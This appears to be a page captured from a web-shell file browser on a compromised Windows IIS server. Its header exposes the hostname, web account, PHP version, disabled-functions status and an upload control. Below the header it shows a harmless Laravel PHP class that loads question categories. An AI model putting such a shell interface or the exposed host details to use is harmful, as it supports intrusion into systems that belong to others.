HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers10/momsecurity.komma.nl/app/Questions/QuestionService.php
<?php


namespace App\Questions;

use App\Base\Service;
use App\QuestionCategories\Models\QuestionCategory;
use Illuminate\Support\Collection;

final class QuestionService extends Service
{
    private $questionCategories;

    public function __construct()
    {
        parent::__construct();

        // Set options first if needed
        if(!isset($this->questionCategories)) $this->setQuestionCategories();
    }

    public function setQuestionCategories()
    {
        $this->questionCategories = QuestionCategory::where('active', 1)
            ->with('translation', 'questions', 'questions.translation')
            ->has('translation')
            ->has('questions')
            ->orderBy('lft')
            ->get();
    }

    /**
     * @return mixed
     */
    public function getQuestionsByCategory()
    {
        return $this->questionCategories;
    }

    /**
     * Get the question for the asked code named category
     *
     * @param  string  $codeName
     * @return Collection
     */
    public function getQuestionsForCategory(string $codeName): Collection
    {
        $category = $this->questionCategories->where('code_name', $codeName)->first();

        if(!isset($category)) return collect();
        return $category->questions;
    }

}